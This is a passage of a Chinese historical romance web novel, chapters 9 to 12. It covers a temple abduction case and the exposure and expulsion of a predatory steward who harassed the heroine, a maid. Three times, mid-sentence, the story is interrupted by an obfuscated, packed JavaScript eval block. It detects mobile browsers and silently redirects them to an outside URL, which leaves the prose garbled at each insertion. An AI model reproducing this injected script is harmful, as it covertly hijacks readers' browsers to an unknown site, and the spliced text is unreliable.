世子爷素喜洁净,住驿站的浴桶都要擦过三遍才愿意用。这小豆丁满脸的鼻涕眼泪,满身的腌菜酸味都蹭在了世子爷洁净如新的官袍上。 他看着看着,仿佛从陆执方如凝霜色的冷脸上,看见了自己不翼而飞的工钱,赶紧回神,一个箭步,把小孩儿从自家主子的长腿上撕下来。 世子爷果真冷笑一声,扬了扬衣裳下摆。 “此案秉公办理,押送到少卿府夫人住处。” 衙役们和荆芥带着母子俩走远了。 馥梨刚抬脚,叫陆执方一声钉在原地。 “去哪儿?” 皓月当空,身姿清逸如松鹤的青年回看她,眉间带了几分秋后算账的冷肃,“你跟我来。” 陆执方没将她领去客寮,而是去了之前用作讯问的偏殿厢房,屋内衙役已撤空。 “把门阖上。” 馥梨掩门回身,却见陆执方在半开半闭的窗扉下,不疾不徐地解他的绯红官袍,修长手指摸索到了领口暗扣,再下移到腰侧。 馥梨退了一步,听见陆执方嗤笑一声。 “知道怕了?独自去后厨房查看的时候怎不怕?” 他三两下褪下外袍,攥在手上,下摆那抹可疑的黏糊水迹在月色下露出碍眼的痕迹,“替我擦干净。” 馥梨没动。 “是你朝那小子使的眼色,别以为我没看见。” “婢子是瞧着小郎君可怜。” 馥梨过去接了官袍,在案头铺得平整,从衣兜里掏出她的帕子,认认真真给陆执方擦拭。 陆执方凑过去监工,只见少女的樱唇抿成一线,恨不得能给他官袍擦出个洞来。 “那妇人不会收监的。” 馥梨手一顿,对上陆执方笃定的眼。 “信我。” 10. 第 10 章 “信我。”陆执方道。 馥梨过了片刻点头,“我信的。”世子说韩长栋不会再来找她麻烦,她真的过上了好一段安生日子。 官袍下摆擦拭完,她将帕子脏污那面翻折,塞入衣兜里,拎起官袍递给陆执方。 陆执方自行穿好,低头抚顺蹀躞带上勾的玉佩。 “走了哪条道去的后厨房?”藏经楼上他与衙差几十双眼睛盯着,没道理错过馥梨脱离人群的踪迹。 “翻了墙,客寮西侧有一面矮墙,接着后厨房。” “矮墙再矮,也比你高。” “法会因为蒋小郎君的事情暂停了,原从客寮搬的好些桌椅台凳又送回来,就堆在墙根下。” 小姑娘细声细气解释着。 墙根这头有堆叠的桌椅台凳,翻过去那头可没有。陆执方视线扫过她棉袄和单幅裙上蹭的脏污,就知道她没有说谎,“怎么想到要去后厨房看?” “白日去后厨借了小推车,觉得那缸腌菜的味道特别浓重,一般密封盖好的不会这样。”馥梨比划了一下,“后来瞧见瓦瓮背面有好几个特意凿开的小洞,漏气的,我就想……会不会是用来藏人的。” 若长兴县巡捕有她一半细心,这夜就不需要这么多人大费周章忙许久了。陆执方整理好仪容,推开了讯问室的门,“差不多了,跟我回客寮。” 险些丢了养子的少卿夫人宣泄完怒气,该是理智回笼,有决断的时候了。 她就该送这个出尔反尔的妇人去监牢! 宽阔整洁的静室里,苗慧气不打一处来,看着跪在自己身前的邹氏,胸口那口气还是理不顺。 “当初过继有官府作证,白纸黑字立了契书,你们拿钱远走他乡,是生是死永不相见。结果呢?你却处心积虑想要拐走丞儿?” 邹氏跌坐在地上,声如蚊蚋地辩驳:“苗夫人,我是一时糊涂,拎不清才做了这种,不是蓄谋的。” 官差涌过来把寺庙围起来后,她就后悔了,没想过官差来得这般快,这般声势浩大。她脱离人群偷偷去后厨房,也是想叫丞儿回去苗夫人那里的。 “押送你来的衙差都说了,藏人的瓦瓮特意做了纱网掩藏行迹。我每月到恩孝寺礼佛两回,而你想方设法来香积厨做厨娘。还不是蓄谋已久?” 苗慧气得一拍身边卷几,“蒋修丞既入我少卿府族谱,便是我蒋家子弟,我看你的行径正好按照拐卖幼童论罪,外加一条蓄意诈骗钱财!” 她口齿清晰,得理不饶人,一声声质问让邹氏面如金纸。邹氏不得已,道了实情:“这世上没有哪个当娘是愿意用自己骨肉去换钱财。丞儿过继给蒋家,是我男人瞒着我做的,我知道后找他闹过,可他将我关起来打!”她说着揭开衣袖,露出触目惊心的伤疤,把苗慧和旁边听着的苗斐看得一愣。 邹氏很快将衣袖拉下去:“我男人拿了蒋家大笔银钱,用我闺女做威胁,逼我同他离开皇城到长兴县定居。他有了钱就纳妾,说要再生一个儿子,可那妾和情夫联手,骗走了他所有的钱。” “然后呢?”苗慧情不自禁问,顿了下又别开脸。 邹氏却笑得古怪:“他自此酗酒更厉害,有一夜醉倒在街上,把自己冻死了。我带着女儿去哪儿都不好过活,求了寺庙方丈怜悯来做厨娘……然后,遇见你带着丞儿来上香。” 她望向苗慧,苗慧披着条珊瑚红的狐裘,随坐姿翻出里衬,用了很漂亮的妆花缎,她在皇城制衣店看过,挂在最高最显眼处,她连价格都不敢问。 “我第一次遇见丞儿,觉得是佛祖庇佑,让我们母子团聚,暗自想到很多法子,还拿我女儿试验。后来又见了几次,丞儿出入有婢女跟着,衣衫靴裤都合体,不带重样儿的精致。我还远远见过,苗夫人独自在庇佑学业最灵的菩萨那里跪拜。” “那时我知道自己想岔了。佛祖不是让我同他团聚,是让我放下。丞儿跟着我,只能勉强饱腹,穿不上好衣裳,去不了好学堂。我能给他什么呢?我独自带着女儿过活都得掰着铜板过日子。” 苗慧听到这里,脸色缓了七八分,冷硬的语气还是一时转换不过来:“那你为何还是把他藏起来!” 邹氏眼眶里打转的泪落下:“丞儿看见我了。” 苗慧一愣:“你,你没同他……” 邹氏慢慢摇了摇头:“他年纪小,我怕叫他看见他沉不住气,决定放下后,就只想远远地看着。可他今日不知从哪儿发现了我,哭着喊着要回家。” “他说在学堂,同窗笑他假少爷,回到少卿府,各房的兄弟姐妹也不爱跟他玩。苗夫人待他很好,可说话没两三句就在催他念书。他心里觉得委屈,只能跟府里的小猫小狗说。” 苗慧一下子攥紧了暖手炉,急得站起来,“家里谁欺负的他?二房的?还是三房?” 旁边一只手伸来,将她拉下坐好,是她族姐苗斐,“现在不急这事儿,你又不能立马赶回去跟小辈理论,先解决眼前这桩事儿。” 苗慧闻言,冷静了几分,看向她,“斐姐姐,你觉得我该怎么做?”她既气邹氏企图把人带走,心里又觉得她这么做情有可原。 她嫁去少卿府多年,膝下只有女儿,连院中妾室都只生得出女儿,眼看老爷身体随着年纪每况愈下,连同房都少有,哪里还能生得出一儿半女。 没有养子,家业只能拱手让给二房和三房。这些内情,斐姐姐知道,更多的却无法讲给外人听了。 苗斐垂眸看了一眼哀伤的邹氏,又看一眼从小就争强好胜性子急的族妹,拍拍她的手,“当初那么多孩儿里,有年纪更小的,你偏偏一眼相中了丞儿,说合眼缘。眼下你看这缘分还在不在,还在就得珍惜,不在了……” 普天之下,食不果腹的贫寒人家那么多,少卿府要再找养子不难,说出去不好听罢了。 苗慧给她说得心头一揪,她当然还想认丞儿! 她恼的是邹氏,可斐姐姐说要珍惜……苗慧想起丞儿被找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13981021|148125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来那一身狼狈和一脸泪水。她要真为了出气,把邹氏关进牢狱,同养子的情分才是真的断了。 苗慧饮了一口凉茶,把浮躁的感觉压下去,吩咐侍从,“让她们把丞儿带过来。”丞儿一找回来就被带去旁的厢房更衣沐浴了,之后有嬷嬷婢女看管着。 邹氏以为是苗慧让他们见最后一面,颓然掩面,却被苗慧命人扶起来,带到温暖矮榻上坐着。 苗慧已起身,“你们且说话,我有事去找长兴县知县张昭大人。”邹氏是拿是放,全看少卿府态度。 她快步迈出门槛,不想看丞儿和邹氏相拥而泣的模样,又忍不住回身:“只是说话,别想偷偷把他带走。学堂和家里欺负他的那些,我心里有数!” 邹氏拿不准她何意,茫然看着,却听见苗慧冷声道:“往后初一十五、三个旬日都来礼佛,你且记好了日子!再多的,另说吧!”门外,苗慧身影消失,重新变得干干净净的锦衣孩童噔噔噔跑了进来。 “——阿娘!” 蒋修丞透着欣喜的喊声,回荡在客寮整条回廊,就是远处银杏树下观望的馥梨和陆执方,也听见了。 苗夫人离去,蒋小郎君进屋。 看到这里,纵使馥梨不知道静室里几人都说了些什么,也能猜到是大事化小小事化了的局面。 “真的无事。” “不止无事,我这个便宜表弟还可能有更多机会见到他生母。” 陆执方淡声补充。 馥梨卡壳了一瞬,是了,蒋小郎君虽然是养子,按名义上的亲属辈分论,算是世子爷的远房表弟。她带了几分纳闷,看向这不近人情的表兄。 陆执方理了理衣袍:“就是亲弟都不能放肆。” 回廊另一头,张昭得了苗夫人不予追究的消息,吩咐四周守着的衙差陆续撤离。 馥梨看着衙差离去的背影,“张大人说,他养了一批嗅觉极灵敏的官犬,是骗人的吗?” “不骗怎么引心虚的人露出马脚?” 馥梨点点头,眼尾慢慢垂了下去,有点蔫。 陆执方瞥她一眼,“真有这样能追出五里地的官犬,皇城各衙司都先紧着用,轮不上长兴县。” 小姑娘没接话。 “很失望?” “我是想,真有这样的官犬就好了,那样天下的冤屈与穷凶极恶之徒,应当能少很多。” “不需要官犬。” 馥梨疑惑地抬眸。 陆执方惯常地冷嘲热讽:“各州县多几个能追出五里地的官就够了。” 那语气里有一点遗憾。 皓月朗星下,一身绯衣的青年神色寂寥,像是身在官场,目睹了太多尸位素餐之人,才生出的遗憾。 馥梨看着他的侧脸,轻声改了口:“陆大人。” “?”陆执方意外。 眼前少女玉靥明净,清凌凌的眼眸映出他缩影的轮廓,认认真真道:“我觉得你就能追出五里地。” 11. 第 11 章 族妹去了找知县张昭,苗斐待在屋内,看蒋修丞同邹氏搂在一起说话,亦给母子让出了空间。她带着嬷嬷走到廊下,瞧见银杏树下一对眼熟的男女身影。 个儿高那个朱衣郎君她认得,自己儿子,站在他身侧的小姑娘,不是找她状告韩长栋的丫鬟是谁? 好像是叫馥梨来着。 小姑娘不知说了一句什么,陆执方低头侧耳听,狭长眼尾扬起,闪过一抹转瞬即逝的笑意,很快便又收敛起来,恢复成云淡风轻的模样。 苗斐朝嬷嬷看了一眼:“去把世子喊过来。” 方嬷嬷躬身去了。 陆执方来得很快:“母亲找我何事?” 苗斐不动声色盯着他:“先前忙着找蒋小郎君,也不方便问,你怎么打长兴县这边来?” 距离恩孝寺最近的衙门是长兴,她万万没想到自己儿子跟着长兴知县一起来了。 “同母亲说过的,京畿道有多起幼童被拐报案,怀疑与邪-教有牵连,圣上重视,命令刑部与大理寺合办。长兴县是最先出事的几县之一,我来核查,恰遇上少卿府报案,一道来查看。” “这倒是凑巧了,”苗斐点点头,话锋一转,“韩长栋欺负前院丫鬟的事情,你知道多少?说给我参详参详,我查清楚了才好拿主意。” 陆执方眉梢微抬:“竟有此事?” “你说呢?” “儿子记得韩管事在院中休养,听闻身体大好,能继续做事了。再有三天,高扬就要交回钥匙。” 陆执方回视,神情磊落坦然。 苗斐没套出话,摆了摆手,“行,去忙你的,今夜太晚,先宿在恩孝寺里吧,别贸贸然下山。” 陆执方一颔首,离去前瞟见回廊一角,有藕粉色披帛轻轻甩过,缩回了廊柱下,是他妹妹陆嘉月。 儿子走了,苗斐还在原地没动。 方嬷嬷试探:“太太怀疑世子对那丫鬟……”她没挑明,再看向银杏树下,馥梨早不在了。丫鬟可没专门厢房,得回山门停驻的仆役马车里挤一夜。 “且再看看吧。” 苗斐想了片刻,实则也不怎么担心,这孩子少时顽劣,懂事之后一步步都走得很稳,是个有分寸的。 真让她感到为难的,是韩长栋这个不知廉耻的。 恩孝寺山门外,好几辆大马车停在夜风中。 馥梨缩手缩脚,躲在属于杂役们的小马车里,同桂枝一人占一边车窗位置,将就着对付一夜。 嬷嬷们嫌冷让火力壮的小年轻坐这儿,自己坐车厢后壁,她们自然不敢有意见。正好,车帘透着微末的风,呼吸起来不难受憋闷。 馥梨眯眼睡去,一开始还觉得冷,后来就热了,再后来口干舌燥,连马车几时启程,变得摇晃颠簸都不知道。再迷迷糊糊地睁眼,看见后罩房的横梁,瓦片齐齐整整,一块接一块地码着。 “醒啦?”桂枝就在床边,把她慢慢扶起来。 “我都回到府里了?” “你得风寒了,车上还起高热都快晕乎过去了,是陈大娘去府门口背你回来的。” “大娘呢?” “去大厨房给你要姜汤了。” 馥梨还是冷,打了个寒颤,裹紧了棉被,桂枝又给她加了一张,人裹在里面跟粽子似的。 马车里人多眼杂,桂枝没敢问,看她眼下虽然还病恹恹,但高热退得快,精神还不错,便忍不住了,“馥梨,你见着大太太了吗?她是怎么说的?” 馥梨人虚弱,但弯唇一笑,露出齐整小白牙,“该说的都说了,我觉得大太太不会放任不管的。” 此时,半敞开的屋门外晃过个人影。 桂枝以为是拿姜汤回来的陈大娘,半天,不见人进来,走到门槛看是跑腿的小僮照壁,便对馥梨道:“许是高管是有事交待,我去看看,你歇着。” 馥梨歇得够久了,趿拉着鞋下床,给自己倒了杯凉茶,才觉喉咙灼痒好些。喝了凉茶又打寒颤,她躲回被窝里眯眼,手习惯性压在被子外边。 没一会儿,觉得有人在摸自己的手。 她掀开眼皮,是桂枝回来了。 桂枝左手捏了鸡子大小的白瓷罐儿,右手指覆盖滑腻腻的膏体,正涂在她长了冻疮的地方,“弄醒你了?我看你手正好伸在外边。” “没睡着,哪里来的药?” “照壁刚刚送过来的,说是管事房发的,专门治冻疮,从今年开始年年都有,”桂枝语气里有掩不住的轻快,“还有,你猜猜怎么了?高管事说我俩跟着去恩孝寺路途辛苦,洗衣房差事不重的话,可以歇个两三日再去。正好你就病着呢,我也跟着歇两日。” 馥梨愣了愣,想到恩孝寺偏殿里陆执方说的话——“痒了涂药,去高扬的管事房拿,同他告三日假说手不能碰水。” 桂枝涂完药,把白瓷罐儿塞到她枕头底下,“先紧着你用,第一年进来洗衣房都爱长冻疮,你看我们就没什么事。你用好了再给陈大娘收着。” 她蹬了鞋,爬上来舒舒服服地躺在馥梨身侧,又叹道:“高管事对前院丫鬟挺好。早知道趁着昨日,去拜拜菩萨,保佑他把这位置长长久久地坐下去。” 馥梨没接话,只轻轻地“嗯”了一声。 清夏堂里,苗斐休整了半日,缓过路途劳累,就开始查韩长栋的事情。其实没凭没据,不太好查,但她掌家多年,各房各院都有自己的人,打听当年落霜被发卖出府的细枝末节并不难。 两日后的傍晚,霞光绮丽,镇国公陆敬才从宫里同陛下议事回来,就见妻子坐在他堂屋里喝茶。 老夫老妻了,看一眼就知道苗斐心情不太妙。 陆敬先露了个笑脸:“夫人久等。” “茶才沏了第一趟,”苗斐起身迎去,替他宽了厚重累赘的大氅,递给侍从,“是老爷辛苦了。” 自纳妾后,陆敬好久没享受这待遇。 他受宠若惊,又心头打鼓,下一刻听见苗斐道:“京郊田庄庄头这两年不老实了,送过来的账难对,我想把韩管事派过去管一管,老爷你说如何?” “夫人掌家,夫人说了算,”陆敬笑了笑,忽而又问,“不知是哪个田庄?” 苗斐语气轻轻:“所有的。” 镇国公府家大业大,京郊田庄不止一处,有大有小,派过去管账得到猴年马月才能回来? 这放到朝中不就是被贬官下放嘛。 陆敬半晌问:“他走开这么久,府务谁管?” 苗斐道:“高扬这半月管得不错,还开源节流给我省了一笔银子,我看他接手正好。” 陆敬算是听懂了,“韩长栋出了什么纰漏?”先是儿子后是夫人,都铁了心跟这老东西过不去似的。 “我倒是宁愿他办事出了纰漏。” 苗斐看着陆敬的眼睛,把她这两日探听到的事情一五一十都说了,“我掌家多年,哪些人能用,哪些人能信,我心里头有数。他做的这些龌龊事,有证言没证据,非要抵赖,我无可奈何。但是我忍不了府里有这么腌臜一人,只派到田庄,已是顾念了情分。” 陆敬皱眉,想的不是苗斐的心里膈应不膈应。 官场人情错综复杂,府里迎来送往,这两年都是韩长栋给他搭把手,挑不出大错处,用得还顺手。 再换成高扬,免不了一番磨合。 “这事是韩长栋下作,我去敲打,把他降成副管事,若敢再犯,你让老徐把他一双手砍下来。” “我要他一双手何用?老爷,我想维护镇国公府的名声,你想一想,到底是哪头重,哪头轻?” 苗斐撂下话,就差明着说他不知轻重。 堂屋里,老夫老妻不欢而散。 陆敬的长随眼观鼻,鼻观心,大气不敢喘,陪着陆敬在大太太离去后一言不发地待着。 夜色更深了,有婢女来告:“淑澜苑问大老爷用膳没有?送来一份姨娘做的鱼肉羹,请老爷品尝。” 陆敬哽在心里那口气缓了缓。 正妻多年感情,贤惠端庄但对他不假辞色,还好有姨娘是温柔体贴的,虽然是是非非上总犯糊涂。 “鱼羹送进来,算了,”他又改主意,“提回去淑澜苑,就说我等会儿过去晚膳,先张罗起来。” 婢女应声退下,陆敬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13981022|148125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转头去看长随,到底没想跟苗斐逆着来,语气严厉道:“把韩长栋喊过来。” 韩长栋从陆敬书房离去时,险些被门槛绊倒。 他满脸失魂落魄,明明休养了小半月,脸色却更憔悴苍白了。这阵子,他夜夜梦里都是高扬踩着他往上爬的场景,噩梦竟然成真,老爷说要把他调到田庄上管账?何时回来?等夫人气消了再想办法弄回来。 他还回得来吗?高扬可是个精明能干的。 韩长栋念头纷杂,眸中闪过狠厉,此事全因那个叫馥梨的丫鬟找大太太告状起,无论用什么手段,只要逼迫她改口承认是污蔑,此事就还有挽回的余地。 府中仆役还不知道他要被调去田庄的消息。 他们以为半月一到,高扬会将总管钥匙交回给。此时此刻,他还有能用的人,还有作为管事的威信,能打探到消息。更重要的一点是,除了高扬,无人比他更清楚前院一日各杂役丫鬟的运作。 翌日,还未到破晓的时辰。 人走在路上灰蒙蒙地,辨认不清面容,只能凭借身形猜个大概。韩长栋从管事院出来,门廊下已经有三个小厮等在那里,听候差遣。小厮在他的指示下,绕着路线,掐着点儿,悄悄摸到后罩房外的墙沿下。 丫鬟们同管人的仆妇说着话,离了后罩房,去到大厨房领朝食。脚步声稀稀落落后,变得寂静起来。 韩长栋目光一瞬不错地盯着那些背影。 一人,两人……数到最后,他简直要忍不住抚掌而笑,喊一声天助我也,就连桂枝离开了,后罩房里只有风寒未愈还在缠绵病榻的馥梨。 韩长栋领着人,大摇大摆进去,手摁上了屋门。 笃、笃、笃。 那敲门的声音很有规律,连停顿都一致。 馥梨向来睡得沉,好一阵子,都把敲门声从耳边滤过了。可那声音坚持不懈,未曾停歇。丫鬟们不会这样敲门的,有谁落了东西,一定会出声喊她。 馥梨心头一跳,脑子霎时清醒过来。 她披着棉袄,穿好鞋,走到同一侧的窗边,摘了窗扣,轻轻拉开窗扉去看,门外站着个高高瘦瘦的青年,手里提的灯照亮了他的面容,是世子长随木樨。 木樨余光瞟到她,转头看来:“馥梨姑娘跟我走一趟?世子爷有话想问,要快些,爷赶着上朝。” 馥梨微愣,阖了窗,扣好棉袄,跟他走出去。 路过院墙时听见拐角阴暗处,有男人哼哼唧唧的痛呼声,把她惊了一下,很快又归于寂静了。 木樨见怪不怪,目不斜视:“馥梨姑娘。” 她快步跟上。 木樨提灯往西侧走,沿着寂寥无人的回廊,带她出了西门,馥梨刻意看了一眼,门房小厮都不在。 西门外的巷道清静,银鞍白马威风凛凛。 陆执方披着黑色鹤氅,底下罩着她很熟悉的绯色官袍,手指在玉佩上百无聊赖地点着,泄露出等候时的漫不经心。 馥梨迈出了门槛,停在飞檐下。 “世子爷?” 陆执方手指一顿,借着檐下燃了一夜快要熄灭的挂灯,看清楚她风寒后清减了的脸颊。出来得急,她忘了梳发,柔顺青丝披着,那一分病气更衬出娇弱。 可眼眸总是澄亮有神采的。 “木樨小哥说,世子爷有话想问?” 陆执方静了数息:“你想不想去别的院做事?” “别的院……是哪个院?”馥梨脑袋转了一下才听懂陆执方的意思,一下子往最糟糕的方向揣测,“莫非大太太不相信我?韩长栋复职……” “不是,”陆执方打断她,“过了今日,镇国公府再没有姓韩的管事。”无论母亲拿了什么主意,都不影响韩长栋自作孽造成的结果。 少女明显松了一口气,表情变得轻盈鲜活。 陆执方不动声色将那变化看在眼里,听见她有些小心翼翼地试探,风寒刚好的声音软绵绵的:“世子爷,我想去哪个院,都可以去吗?” “你想去哪个院都可以,高扬是我的人。” 你不知道,你甚至可以,对我提更过分的要求。 12. 第 12 章 “我想去大姑娘的院里。” 馥梨只想了一会儿,就给出了回答。 “为何是大姑娘?” “婢子去恩孝寺时见了大姑娘,觉得亲切。” 婢子。 陆执方发现她想装乖卖好时,就惯了这么自称,平时跟他说话,却没有把自己往位卑处说的习惯。 “嘉月房里的人,我母亲盯得紧,哪个不够恭敬不够上心就要被她换走。想清楚了?” “即便只待在外院为大姑娘做杂事,婢子也愿意的。大太太盯得紧,不是坏事,是好事。” 陆执方眸中闪过赞赏。 比他想的还要更伶俐通透一些。 嘉月虽然是大房嫡女,曾有婢女看她口不能言,年纪还小而敷衍轻慢,还把珠钗首饰偷去了转卖。被母亲发现后,满院都狠狠整治过一顿。 镇国公府没几个人会主动想去当差。 都觉得大姑娘婚事不易,恐怕要在府里养一辈子,去了不止前途没着落,做事还劳心劳神。也正因如此,嘉月那里对馥梨才是最安稳、安定的去处。 陆执方应了此事:“那你且等一阵。” 这不是高扬随意指派就行,得他母亲点头同意。 拂晓将近,东方一抹鱼肚白愈渐亮起来。 陆执方赶着上朝,翻身上马便要走了,裹着厚袄的少女还站在原地,目光欲言又止。 陆执方转头,“还有事?” “世子为何要特地把我叫至此处来说话?”少女清湛的眼里有疑惑,还有担忧,“是不是往后在府中都不便说话了?”恩孝寺客寮的回廊下,大太太看见她与世子并肩说话时的微妙神情,她还记得。 晨风吹拂,将馥梨的几缕碎发贴在唇边。 从马背高处俯视,那张娇靥显得更小,仿佛一掌就能捧在手里轻轻摩挲,陆执方敛下目光,没有正面回答,“往后有事解决不了,去找高扬。” 马蹄声响起,朱衣墨氅的身影远去。 馥梨再迈回那门槛,木樨仍旧提灯等在树下,“我带馥梨姑娘回去。”是温和礼貌的语气。 “劳烦木樨小哥。” 馥梨跟在他后头,看到他衣领一圈的祥云绣纹。 木樨是世子长随,跟着陆执方做事,模样和姿态单拎出去比照殷实人家的少爷都不差,不像照壁那样见了一个粗使丫鬟都要嘴甜地喊一声姐姐。 还记得初见时,木樨说她入府的规矩没学好。 那语气并不傲慢无礼,但言语中的轻描淡写,同管束她的陈大娘是一样的。 长随态度的改变,是主人态度的反映。 “木樨小哥,世子爷待前院仆役,一直这般关照吗?”馥梨克制着,始终没把这个问题与“我”字联系在一起,便是这样,问出来时,脸颊仍有些发烫。 正是不想自作多情,才更要问个清楚明白。 木樨脚步一顿。 这问题,他也私底下问过荆芥,可大老粗没耐心琢磨,斩钉截铁说世子爷曾经说过要补偿。 补偿什么? 想来想去就是韩长栋干的那些不要脸的事。 “世子虽未承爵,对该承担的责任上心。爷常说一荣俱荣,一损俱损。就像韩管事这等行径,他若是早早知道了,绝不会姑息至今。” 木樨尽量说得委婉,既怕伤人,又怕馥梨听不明白,话落了,转头去看她的表情。 少女的脸庞如晨花清露,未有丝毫尴尬,弯了弯眼睛,“世子光风霁月,担得起未来家主的责任。” 同馥梨姑娘说话挺省心的。 木樨松了一口气,将她送至后罩房,道了别。 天色已亮,他手中那盏灯就黯淡下去。他吹灭了里头的烛火,绕步到后罩房院墙外的角落。 角落里,几个跟韩长栋摸来后罩房的小厮被揍得鼻青脸肿,窝窝囊囊地蹲着。 韩长栋被破布塞了口,呜呜咽咽想说话。 荆芥闲得发慌,正单腿支着练金鸡独立,一刀柄狠狠别过去,“都说了,别吵吵!”他抬头看木樨,“怎么才来啊,现在可以走了吧?” “再等两刻钟,未到大老爷起身的时辰。” 木樨提议回静思阁等,再晚了,来往的仆役就多了。他看着荆芥提溜起韩长栋,身后母鸡溜小鸡仔似的跟着几个小厮,只想感叹世子爷料得真准。 大老爷把韩长栋叫过去后,韩长栋果真贼心不死,荆芥才守了一夜就逮个正着。 两刻钟后,韩长栋被丢到了镇国公屋里。 陆敬坐在主位,他昨日被召进宫,议事到傍晚时咳了几声,圣上体恤准他休一日常朝。屋里所有侍从都驱散,只有一个原本不应该出现在这里的高扬。 韩长栋抬头,见陆敬脸色黑沉,山雨欲来。 他手边压着本册子,银灰色软罗封皮,看得他的心头狂跳起来。没待仔细辨认,陆敬抄起册子,劈头盖脸朝他丢来,“这是你的笔迹,自己看看。” 韩长栋背上霎时起了一层汗。 镇国公府的大账册有两本,一本是公家总账,囊括了从老夫人到前院杂役房,从上至下的所有开支,归大太太苗斐管。 一本是人情人脉账,上头也记钱财往来,但每笔的价值都比字面上的贵重得多,是为陆敬记录的。 而银灰色的册子,是他对后者做的私账。 只有他自己看,以便苗头不对时,有可能亡羊补牢。他不敢置信,看向高扬的眼神恨不得把他生吞活剥。同在管事院,这孙子竟然连这都翻出来了。 可惜晚了,陆敬语调冰寒。 “有求于我镇国公府,给你送银子当敲门砖的,是你应得的,我不管。” “敲开了门的利益交换,十分利你吞一分,我还能睁一只眼闭一只眼,”陆敬声调一转,“可你万万不该动我诚心送出去的!给何老的碧瑶樽你都敢以次充好,胃口好大啊韩长栋!当管事你真是屈才了!” 陆敬拂袖,茶盏落地,碎片飞溅。 韩长栋膝行到他跟前,浑然顾不上被烫到的痛,发出含糊的声音,嘴里破布被一把扯开。 他大大喘了口气:“大老爷,我错了……我那些贪了的钱财都存在万兴钱庄里头,我、我可以还回来!我还可以去田庄替太太管账!求大老爷消气!” “你当我真气恼那些银子?” 陆敬一脚揣在了他心窝处,将他踹出一丈远。 在他这个位置,需要维护交情的人一巴掌都数得来。韩长栋暗地里动那些手脚,损了他的颜面,莫说在府里留不得,就是待在京中他都嫌碍眼。 晨光照耀,清夏堂屋檐明净,鸟语临窗。 苗斐睡了个好觉,听闻韩长栋连带几个小厮被绑起来送去京兆府挨板子,已过去一个时辰。她惊讶,还以为这事情得同丈夫僵持个三五日,他才肯松口。 “真送官了?由头是什么?” “对官府说的是偷盗府中财物,老奴同大老爷的人打听了,据说是天蒙蒙亮时,韩长栋带小厮去前院丫鬟房里想意图不轨,被世子爷的护卫发现。世子赶着上朝,就送到大老爷院里让他处置。” 打探到消息的方嬷嬷顿了顿,补充道,“大老爷很生气,说韩管事败坏家风,是害群之马,就……” 苗斐关心起另一件事:“前院丫鬟没事吧?” “护卫发现得及时,那个时辰后罩房里头大多数丫鬟都去领朝食了,还未惹出大祸来。” 苗斐听罢,还是拧了拧眉。 她掌家,盯着银子和人,虽然不知晓前院各处的运作,但总觉得这事情透着古怪。 韩长栋再怎么急色也不至于挑这节骨眼。 儿子的护院发现得太巧。 最重要的是,陆敬真那么在乎,最初她一说时就该严惩不贷。意图不轨,恐怕跟送官理由一样,只是借口,是韩长栋做了什么,真正触到了陆敬的逆鳞。 至于这糟烂人,挨了板子被赶出府,往后皇城里是没几个府邸或商铺敢雇用他的了。 好事啊,苗斐想明白了,不纠结。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984765|148125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她对镜照了照,婢女用檀木梳给她打理发髻,梳到一根白头发挑出,用细剪子剪至发根,妥帖地隐藏起来。苗斐看到她动作,微微一叹,又长了一根。 她挑出一根金镶翡翠的发簪给婢女,示意她簪上,淡声问:“大老爷今日不上朝,还在府里吧?” 方嬷嬷神色闪烁,“老奴去打听的时候,正撞见大老爷往淑澜苑去,看样子是要留在那里用午膳。” 还是青天白日,就往姨娘院子里跑。 往日陆敬很有分寸,记得给她这个正妻留颜面,这日是撞了什么邪,苗斐听了,轻轻哼出一声。 身后婢女插簪的手更轻了几分。 苗斐没发作,再从首饰匣子里挑出一对玉露水滴耳坠子,“就戴这对,正好衬新做的那条郁金裙。” 她给陆敬生了两子一女,努力过了,懒得再拈酸吃醋,可劲儿打扮得雍容华贵,是她自己欢喜。 于是陆执方再按习惯,下了衙去清夏堂问安时,便发现母亲今日装束格外华美。母亲的习惯,心情好要精心收拾,心情不好更要妆点起来,提提神气。 “韩长栋被赶出去了,你知道吧?” “儿子知道。” “你上下衙不是惯常走西门吗?荆芥是怎么撞见他带着小厮往后罩房摸去的?” “荆芥习武,晨起绕着圈儿跑。” 话半真半假,荆芥确有这个习惯。 母亲神采奕奕,眼眸是探究的目光,看来是心情不坏。陆执方放下心来,留着用了清热降噪的川贝母炖雪梨,再检查了幼弟临摹字帖的成果,方才离去。 静思阁的案头,静静摆放着一只纸蜻蜓。 是荆芥新取来的,他今晨出发前叮嘱过。 实则纸蜻蜓不新了。 